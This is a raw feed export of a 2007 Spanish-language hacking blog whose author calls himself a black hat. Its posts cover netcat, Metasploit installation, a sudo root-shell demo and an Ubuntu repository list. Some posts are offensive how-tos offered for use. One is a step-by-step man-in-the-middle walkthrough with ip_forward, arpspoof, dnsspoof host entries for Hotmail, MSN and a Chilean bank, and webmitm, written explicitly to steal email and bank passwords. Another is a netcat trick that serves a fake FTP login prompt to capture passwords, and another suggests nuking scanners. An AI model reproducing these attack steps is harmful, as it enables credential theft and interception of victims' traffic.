monton de cosas&lt;br /&gt;más, Muaahahaha!)  :)&lt;br /&gt;&lt;br /&gt;Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo&lt;br /&gt;real de un dia como cualquier otro en IRC; he aquí el ejemplo:&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -u -v -v -L -p 31337 127.0.0.1 31337&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;listening on [any] 31337 ...&lt;br /&gt;&lt;br /&gt;invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net&lt;br /&gt;[161.196.246.65]&lt;br /&gt;31338&lt;br /&gt;&lt;br /&gt;       Back Orifice utiliza el protocolo UDP para realizar sus&lt;br /&gt;travesuras, realiza la conección desde un puerto aleatorio (casi siempre&lt;br /&gt;el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una&lt;br /&gt;variante de BO), por eso se utiliza la opción -u (protocolo udp) ,&lt;br /&gt;netcat se queda esperando conecciones UDP en el puerto 31337 (default de&lt;br /&gt;BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a&lt;br /&gt;pantalla el IP y el DNS del agresor...&lt;br /&gt;&lt;br /&gt;       Luego un pequeño "Ping of Death" (Nuke) para el transgresor y&lt;br /&gt;le hacen un Scan para ver cuando desaparece B-]&lt;br /&gt;&lt;br /&gt;nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused&lt;br /&gt;nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused&lt;br /&gt;nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused&lt;br /&gt;nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT&lt;br /&gt;nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT&lt;--Chao!!! Jeje!! Otros usos Miscelaneos: ======================= Puedes utilizar algo de ingienería social para capturar algunos passwords con netcat, por ejemplo, si una máquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la víctima; algo así:&lt;br /&gt;&lt;br /&gt;Microsoft Internet FTP Server V.5.9 [Beta] 04/16/99 myhost.com Please introduce Username, password and press "Enter" LogOn: Luego redireccionas el archivo hacia la victima:&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -v -v -L -p 21 nombre del host -t &lt;&gt; nc -v nombre del host 23(o el puerto de tu preferencia)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Netcat y Programación:&lt;br /&gt;  ======================&lt;br /&gt;&lt;br /&gt;  Esta combinación desencadena todo el Poder de Netcat en su máxima&lt;br /&gt;expresión; Tratandose de una herramienta que funciona con lineas de comandos,&lt;br /&gt;su integración con un lenguaje de programación le permite realizar gran&lt;br /&gt;cantidad de tareas, y posibilidades se van descubriendo dia a dia con su&lt;br /&gt;inclusión en nuevos Scripts y Exploits.&lt;br /&gt;&lt;br /&gt;  Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten&lt;br /&gt;frustrados porque muchos de los Scripts y Exploits que bajan de la Red&lt;br /&gt;simplemente no les funciona, porque no saben interpretar el Código y por&lt;br /&gt;lo tanto son incapaces de efectuar las modificaciones necesarias para incluir&lt;br /&gt;librerias, paths o utilidades necesarias para su funcionamiento.&lt;br /&gt;(Jódanse ScriptKiddies!!! Jajaja!!)&lt;br /&gt;&lt;br /&gt;  Netcat es exelente para implementar exploits remotos, permitiendo&lt;br /&gt;enviar el código a cualquier puerto vulnerable con una simple orden, logrando&lt;br /&gt;ejecutar todos los comandos necesarios para explotar determinados servicios.&lt;br /&gt;&lt;br /&gt;  Varios exploits que circulan actualmente en la Red, usan a netcat&lt;br /&gt;como "motor" para manejar las conecciones, si analizamos el código de estos&lt;br /&gt;programas podemos observar un nc por ahí, esto significa que el Proggie en&lt;br /&gt;cuestión necesita una versión correctamente compilada de netcat en el&lt;br /&gt;directorio  /usr/bin .&lt;br /&gt;&lt;br /&gt;       Conclusión:&lt;br /&gt;      ============&lt;br /&gt;&lt;br /&gt;  Si estudiamos detalladamente las variables, el misterio de&lt;br /&gt;netcat desaparece, viene la parte de la imaginación; ¿Que otras&lt;br /&gt;funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el&lt;br /&gt;programa que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemos&lt;br /&gt;asi..." ; el hacking no es más que probar nuevas posibilidades, utilizando&lt;br /&gt;el ingenio, los conocimientos acumulados y una dosis bastante fuerte de&lt;br /&gt;imaginación podremos lograr loque queramos.  :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fuente: ya ni me acuerdo, pero este texto es antiguo.... aunque aun es válido, el netcat no ha cambiado xD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-7546244194009638328?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/7546244194009638328/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=7546244194009638328' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7546244194009638328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7546244194009638328'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-netcat.html' title='Manual Netcat'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-2059944755970247123</id><published>2007-07-21T15:48:00.001-04:00</published><updated>2007-07-21T16:23:17.489-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Mi Lista de Repos!</title><content type='html'># See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to&lt;br /&gt;# newer versions of the distribution.&lt;br /&gt;&lt;br /&gt;deb http://cl.archive.ubuntu.com/ubuntu/ feisty main restricted&lt;br /&gt;deb-src http://cl.archive.ubuntu.com/ubuntu/ feisty main restricted&lt;br /&gt;&lt;br /&gt;## Major bug fix updates produced after the final release of the&lt;br /&gt;## distribution.&lt;br /&gt;deb http://cl.archive.ubuntu.com/ubuntu/ feisty-updates main restricted&lt;br /&gt;deb-src http://cl.archive.ubuntu.com/ubuntu/ feisty-updates main restricted&lt;br /&gt;&lt;br /&gt;## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu&lt;br /&gt;## team, and may not be under a free licence. Please satisfy yourself as to&lt;br /&gt;## your rights to use the software. Also, please note that software in&lt;br /&gt;## universe WILL NOT receive any review or updates from the Ubuntu security&lt;br /&gt;## team.&lt;br /&gt;deb http://cl.archive.ubuntu.com/ubuntu/ feisty universe&lt;br /&gt;deb-src http://cl.archive.ubuntu.com/ubuntu/ feisty universe&lt;br /&gt;&lt;br /&gt;## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu&lt;br /&gt;## team, and may not be under a free licence. Please satisfy yourself as to&lt;br /&gt;## your rights to use the software. Also, please note that software in&lt;br /&gt;## multiverse WILL NOT receive any review or updates from the Ubuntu&lt;br /&gt;## security team.&lt;br /&gt;deb http://cl.archive.ubuntu.com/ubuntu/ feisty multiverse&lt;br /&gt;deb-src http://cl.archive.ubuntu.com/ubuntu/ feisty multiverse&lt;br /&gt;&lt;br /&gt;## Uncomment the following two lines to add software from the 'backports'&lt;br /&gt;## repository.&lt;br /&gt;## N.B. software from this repository may not have been tested as&lt;br /&gt;## extensively as that contained in the main release, although it includes&lt;br /&gt;## newer versions of some applications which may provide useful features.&lt;br /&gt;## Also, please note that software in backports WILL NOT receive any review&lt;br /&gt;## or updates from the Ubuntu security team.&lt;br /&gt;deb http://cl.archive.ubuntu.com/ubuntu/ feisty-backports main restricted universe multiverse&lt;br /&gt;deb-src http://cl.archive.ubuntu.com/ubuntu/ feisty-backports main restricted universe multiverse&lt;br /&gt;&lt;br /&gt;deb http://security.ubuntu.com/ubuntu feisty-security main restricted&lt;br /&gt;deb-src http://security.ubuntu.com/ubuntu feisty-security main restricted&lt;br /&gt;deb http://security.ubuntu.com/ubuntu feisty-security universe&lt;br /&gt;deb-src http://security.ubuntu.com/ubuntu feisty-security universe&lt;br /&gt;deb http://security.ubuntu.com/ubuntu feisty-security multiverse&lt;br /&gt;deb-src http://security.ubuntu.com/ubuntu feisty-security multiverse&lt;br /&gt;&lt;br /&gt;#AUTOMATIX REPOS START&lt;br /&gt;&lt;br /&gt;deb http://wine.lowvoice.nl/apt feisty main&lt;br /&gt;&lt;br /&gt;deb http://www.getautomatix.com/apt feisty main&lt;br /&gt;&lt;br /&gt;deb http://archive.canonical.com/ubuntu feisty-commercial main&lt;br /&gt;&lt;br /&gt;deb http://archive.ubuntu.com/ubuntu feisty-updates universe multiverse&lt;br /&gt;&lt;br /&gt;deb http://archive.ubuntu.com/ubuntu feisty-security main restricted universe multiverse&lt;br /&gt;#AUTOMATIX REPOS END&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-2059944755970247123?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/2059944755970247123/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=2059944755970247123' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2059944755970247123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2059944755970247123'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/07/mi-lista-de-repos.html' title='Mi Lista de Repos!'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-7593656593090747093</id><published>2007-07-21T15:27:00.000-04:00</published><updated>2007-07-21T16:22:49.076-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Opciones del Metasploit</title><content type='html'>y sigamos dandole al metasploit. Ahora vienen las opciones:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Metasploit Framework Exploit Console Help&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;======================================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        ? ----------&gt; Muestra la Ayuda&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        back              ------&gt; Regresa al menu principal&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        cd                   ---------&gt; Cambia el directorio de trabajo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        check             -----&gt; Comprueba la vunerabilidad&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        exit                -------&gt; Salida&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        exploit          ---&gt; Ejecuta el actual exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        help               -----&gt; Muestra la Ayuda&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        info               ------&gt; Muestra info. Detallada del exploit o el payload&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        quit               ------&gt; Salida&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        rcheck          ---&gt; Comprueba la vulnerabilidad&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        reload            ---&gt; Recarga los exploits y payloads&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        rexploit          -&gt; Recarga el exploit, para testear&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        save              -----&gt; Guarda la configuracion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        set               -------&gt; Setea la variable temporal de entorno&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        setg              ------&gt; Setea la variable global de entorno&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        show             -----&gt; Muestra las opciones, avanzados, payloads u objetivos&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        unset             -----&gt; Quita la variable temporal de entorno&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        unsetg            ----&gt; Quita la variable global de entorno&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        use               --------&gt; Selecciona un exploit por nombre&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        version           ---&gt; Muestra la version de la consola&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-7593656593090747093?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/7593656593090747093/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=7593656593090747093' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7593656593090747093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7593656593090747093'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/07/opciones-del-metasploit.html' title='Opciones del Metasploit'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-6248327384617843155</id><published>2007-07-21T14:55:00.000-04:00</published><updated>2007-07-21T16:22:49.076-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Instalando Metasploit</title><content type='html'>Hola!... bueno, hace poco tiempo instale y ejecute el metasploit framework, es bastante útil, se los recomiendo. Para aquellos que lo quieran instalar, pero no saben como, aqui les va mi script para instalar (en ubuntu) todas las librerias y archivos necesarios para la correcta ejecución del metasploit&lt;br /&gt;&lt;br /&gt;Como root ejecuten el siguiente bash script:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;# metasploit.sh por Zodiac&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;# descargar metasploit desde&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;# http://www.metasploit.com/projects/Framework/downloads.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;# descomprimir con tar xvfz framework-2.7.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;# luego, cd framework-2.7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install ruby libruby rdoc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libyaml-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libzlib-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libopenssl-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libdl-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libreadline-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libiconv-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install gem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install rubygems&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;gem install -v=1.2.2 rails&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;apt-get install libgtk2-ruby libglade2-ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;./msfconsole&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ByteZ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-6248327384617843155?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/6248327384617843155/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=6248327384617843155' title='2 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/6248327384617843155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/6248327384617843155'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/07/instalando-metasploit.html' title='Instalando Metasploit'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-7691388048776152898</id><published>2007-06-25T19:10:00.000-04:00</published><updated>2007-07-21T16:23:36.068-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Inventando Formas para acceder a la terminal con privilegios de root localmente</title><content type='html'>Hola de nuevo... como ven en el título, estaba ociando en mi terminal cuando derrepente me dije: ¿Será posible acceder como root usando setuid(0) y setgid(0) con el comando sudo?&lt;br /&gt;&lt;br /&gt;jejeje veamos como me fue:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Zodiac@Zion:~/Desktop$ cat &gt; shell.c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;main(){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;setuid(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;setgid(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;system("/bin/bash");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Zodiac@Zion:~/Desktop$ gcc -o shell shell.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno, lo que escribí aquí es simplemente un programa que al ser ejecutado invoca a bash, no sin antes haber elevado sus privilegios hasta obtener uid=0 y gid=0 (bash es lanzado como proceso hijo y hereda los privilegios de nuestro programa). Es una forma digna de saltarnos la protección que impone bash.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Zodiac@Zion:~/Desktop$ ls -l shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-rwxr-xr-x 1 Zodiac Zodiac 6871 2007-06-25 19:16 shell&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Aqui solo indico que se trata de un programa con privilegios de user normal.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Ahora se viene la parte interesante, iré lento:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Zodiac@Zion:~/Desktop$ sudo ./shell&lt;br /&gt;Password:&lt;br /&gt;root@Zion:~/Desktop#&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Vaya, ahora tenemos una shell con privilegios de root... no lo puedo creer!!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;root@Zion:~/Desktop# whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;jejjejeje despues de todo ese escándalo que hice... les demuestro que esta es una forma para obtener privilegios de root, entre muchas de las que existen... espero que me muestren otras formas... estaba pensando en algo parecido (usando el mismo proggie shell) y darle privilegios de root a travez de las configuraciones y esas cosas... allá su imaginación...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Su servidor!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(255, 0, 0);"&gt;ºZodiacº&lt;br /&gt;Black Hat&lt;br /&gt;MitM Team&lt;br /&gt;Chilean Hackers&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-7691388048776152898?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/7691388048776152898/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=7691388048776152898' title='2 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7691388048776152898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7691388048776152898'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/06/inventando-formar-para-acceder-la.html' title='Inventando Formas para acceder a la terminal con privilegios de root localmente'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-6029906720229698497</id><published>2007-06-24T11:56:00.001-04:00</published><updated>2007-07-21T16:23:36.068-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Un poco de Hacking para entrar en confianza :P</title><content type='html'>Hola, bueno... estaba pensando en mostrar una de las técnicas que más uso, el Man-In-The-Middle (MitM). Usaré esta técnica para mostrarles que tan fácil puede ser robar las contraseñas de Hotmail (o cualquier otra cosa) en red, sin usar remote exploits ni nada parecido.&lt;br /&gt;&lt;br /&gt;Primero debemos obviamente estar en la red, con una terminal linux (ya sea un LiveCD, de seguro despues enseño como crear nuestra propia LiveCD personalizada). Debemos asegurarnos que tenemos instalada la herramienta DSniff...&lt;br /&gt;&lt;br /&gt;Bueno, suponiendo que la tenemos... vamos a activar el ip_forwarding, para que la conexion pase por nosotros y asi ponernos en medio sin problemas, con el siguiente código&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego de esto envenenaremos la tabla ARP de la victima, para hacerle creer a la maquina victima, que nuestra mac address es el router (o la máquina que le proporciona internet).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# arpspoof -t ip_victima ip_router&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora solo debemos conseguirnos un certificado SSL... pero hay un programa que lo hace por nosotros (el webmitm). Solo debemos ejecutarlo sin argumentos y comenzará a hacernos preguntas para crear el certificado.&lt;br /&gt;&lt;br /&gt;Ya creado el certificado, deberemos crear un archivo con extension .hosts con los nombres de dominio a controlar, de la forma:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip_atacante  *.passport.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip_atacante  *.hotmail.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip_atacante  *.passport.net&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip_atacante  *.msn.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip_atacante  *.bbva.cl // tambien podemos robarnos las cuentas bancarias!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;la guardamos como hotmail.hosts&lt;br /&gt;&lt;br /&gt;Solo nos queda activar el sniffer, para que atienda las peticiones de estas webs&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# dnsspoof -f hotmail.hosts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y finalmente, activar nuestro queridísimo programa...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# webmitm -d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hecho esto, tenemos que esperar... en la PC víctima, cada vez que ingrese a una de esas webs le saldrá el certificado, pero en promedio nunca lo leen y aceptan (la desesperacion de entrar en su correo), con esto ingresarán a su correo normalmente escribiendo sus datos... Cosa que nosotros desde nuestra terminal observaremos y anotaremos detallada y detenidamente...&lt;br /&gt;&lt;br /&gt;Ven que el hacking no es tan dificil ??&lt;br /&gt;&lt;br /&gt;ByteZ&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(255, 0, 0);"&gt;ºZodiacº&lt;br /&gt;Black Hat&lt;br /&gt;MitM Team&lt;br /&gt;Chilean Hackers&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-6029906720229698497?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/6029906720229698497/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=6029906720229698497' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/6029906720229698497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/6029906720229698497'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/06/un-poco-de-hacking-para-entrar-en.html' title='Un poco de Hacking para entrar en confianza :P'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-7674674016822685220</id><published>2007-06-24T11:45:00.000-04:00</published><updated>2007-07-21T16:23:55.011-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Extras'/><title type='text'>Inicio!</title><content type='html'>Hola... hice este blog para publicar parte de mis investigaciones, tanto de programacion, como hacking, phreaking, electronica y demases.&lt;br /&gt;&lt;br /&gt;Espero que sea de utilidad para la comunidad&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.rodner.no/wgweb/glider.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.rodner.no/wgweb/glider.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ByteZ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-7674674016822685220?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/7674674016822685220/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=7674674016822685220' title='1 Comentarios'/><link 